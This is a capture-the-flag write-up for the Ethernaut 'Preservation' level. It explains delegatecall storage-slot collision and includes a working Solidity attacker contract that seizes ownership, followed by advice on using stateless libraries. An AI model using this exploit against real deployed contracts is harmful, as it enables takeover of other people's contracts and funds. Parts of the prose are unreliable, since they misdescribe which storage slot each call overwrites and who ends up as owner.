Ethernaut(Lvl 16): Call it delegatecall injection.
delegatecall as a means to hack vulnerable smart contracts.
Table of contents
Delegatecall is a specialized function call in Ethereum that enables a contract to invoke functions from another contract, often a library contract. When Contract A makes a delegatecall to Contract B, it grants Contract B the ability to modify the storage of Contract A, using Contract B's relative storage reference pointers. This means that if you control Contract B and it makes a delegatecall to Contract A, you can manipulate the state of Contract A.
In Ethereum, contract storage consists of 32-byte sized slots used to store state variables. These slots are numbered sequentially from index 0 up to 2^256 slots. Basic data types are stored contiguously in storage starting from position 0, then 1, and so on until slot 2^256-1. If the combined size of sequentially declared data is less than 32 bytes, the data points are packed into a single storage slot to optimize space and gas usage.
Understanding the layout of storage data locations between Contract A and Contract B allows precise manipulation of desired variables in Contract A, especially when combined with delegatecall functionality.
The Challenge
The challenge has a contract that utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Contract Setup:
The
PreservationAttacker
contract is deployed with the address of theIPreservation
contract as an argument to its constructor.Additionally, a new instance of the
PreservationAttackerLib
contract, nameddetour
, is created.
Attack Execution:
The
attack()
function of thePreservationAttacker
contract is called.Inside the
attack()
function:The
setFirstTime()
function of theIPreservation
contract is called with the address of thePreservationAttackerLib
contract (detour
) as an argument.This works because the
PreservationAttackerLib
contract is designed to have the same storage layout as theIPreservation
contract, with theowner
variable at slot index 2.When
setFirstTime()
is called, it updates the storage variableowner
in theIPreservation
contract to the address of thePreservationAttackerLib
contract (detour
).Since the
setFirstTime()
function is invoked usingdelegatecall
, it executes within the context of theIPreservation
contract, allowing it to modify the storage of theIPreservation
contract.
Time Manipulation:
After updating the
owner
variable in theIPreservation
contract, thesetFirstTime()
function of theIPreservation
contract is called again with a parameter of0
.This triggers the
setTime()
function in thePreservationAttackerLib
contract (detour
), which sets theowner
variable totx.origin
.
As a result of this attack, the owner
variable in the IPreservation
contract is changed to the address of the PreservationAttackerLib
contract (detour
), effectively compromising the integrity of the IPreservation
contract's storage.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IPreservation {
function setFirstTime(uint _timeStamp) external;
}
// this one will be called by delegatecall
contract PreservationAttackerLib {
// needs same storage layout as Preservation, i.e.,
// we want owner at slot index 2
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256 _time) public {
owner = tx.origin;
}
}
contract PreservationAttacker {
IPreservation public challenge;
PreservationAttackerLib public detour;
constructor(address challengeAddress) {
challenge = IPreservation(challengeAddress);
detour = new PreservationAttackerLib();
}
function attack() external {
// 1. change the library address to our evil detour lib
// this works because their LibraryContract is invoked using delegatecall
// which executes in challenge contract's context (uses same storage)
challenge.setFirstTime(uint256(uint160(address(detour))));
// 2. now make challenge contract call setTime function of our detour
challenge.setFirstTime(0);
}
}
Developer TidBits
It's considered best practice for libraries not to maintain state. When developing libraries, opt for the library
keyword over contract
to prevent unintended modification of the caller's storage data during delegatecall
usage. Moreover, prioritize employing higher-level function calls for library inheritance, especially in cases where modifying contract storage isn't necessary and gas control isn't a priority. This approach fosters clearer separation of concerns and reduces the likelihood of inadvertent side effects when using delegatecall
with libraries.